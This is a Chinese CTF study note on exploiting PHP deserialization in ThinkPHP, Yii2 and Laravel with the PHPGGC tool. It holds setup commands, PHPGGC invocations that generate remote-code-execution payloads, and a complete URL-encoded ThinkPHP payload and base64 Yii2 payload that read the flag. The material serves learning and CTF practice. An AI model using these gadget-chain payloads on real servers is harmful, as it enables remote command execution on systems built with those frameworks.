第62天:漏洞利用-PHP反序列化&CLI框架类&PHPGGC生成器&TP&Yii&Laravel等利用

PHPGGC

  • 项目地址:https://github.com/ambionics/phpggc
  • 搭建:Linux 直接下载下来后./phpggc -h 查看使用方法即可,比较简单
  • 介绍:
    • PHPGGC 是一个包含 unserialize () 有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是 frohoff 的 ysoserial 的等价物,但是对于 PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework 等。
  • 在 ctf 及其他利用框架反序列化漏洞时,自己编写 poc 耗时太久,额,其实可以说自己写不出来 poc,太过复杂,这里就需要我们用到工具

环境搭建

需要linux,需要php环境8.x,我安装的时候使用php7.2不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo yum remove php* -y		#清除残留的php

sudo rm -rf /etc/php* /var/log/php* /var/lib/php*

wget https://rpms.remirepo.net/enterprise/remi-release-8.5.rpm

sudo rpm -Uvh remi-release-8.5.rpm --nodeps

sudo dnf module reset php -y

sudo dnf module enable php:remi-8.2 -y

sudo dnf install php php-fpm php-mysqlnd php-gd php-bcmath php-mbstring php-xml php-ldap -y

php -v #查看版本

./phpggc -l

image-20250819231756761

iamthinking

image-20250819223713629

image-20250819232211638

常规备份文件起手:

打开文件:

image-20250819232453715

image-20250819232516761

image-20250819233030111

可以看到传参的值是payload

使用phpggc工具:

image-20250819232618064

image-20250819232726366

1
2
./phpggc ThinkPHP/RCE3 system 'cat /flag' --url
./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

image-20250819233517791

大坑,这里一定要加上81端口

image-20250819233555729

1
http://49b3684b-f5c4-4d8b-bb06-acaf1b076570.node5.buuoj.cn:81///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A7%3A%22%00%2A%00json%22%3BN%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

CTFSHOW 反序列化 267 Yii2 反序列化

弱口令登录 / 源码提示泄漏

  1. 弱密码登录后访问 GET:index.php?r=site%2Fabout&view-source

  2. 发现可以看到源码,反序列化接收的参数 code

  3. 使用工具构造 payload

    1
    2
    └─# ./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64
    TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6NDoiZXhlYyI7fXM6MzA6IgB5aWlcY2FjaGluZ1xBcnJheUNhY2hlAF9jYWNoZSI7YToxOntzOjE6IngiO2E6Mjp7aTowO3M6MTU6ImNwIC9mbGEqIHR0LnR4dCI7aToxO2k6MDt9fX19fX0=
  4. 传入 code 参数后进行访问,GET:/index.php?r=backdoor/shell&code=

  5. 访问 /tt.txt 文件,获取到 flag

CTFSHOW 反序列化 271 Laravel 反序列化

接收 post 参数 data,并进行反序列化,使用工具生成 payload 传入即可

1
./phpggc Laravel/RCE2 system "id" --url

Thinkphp

https://github.com/hughink/Thinkphp-All-vuln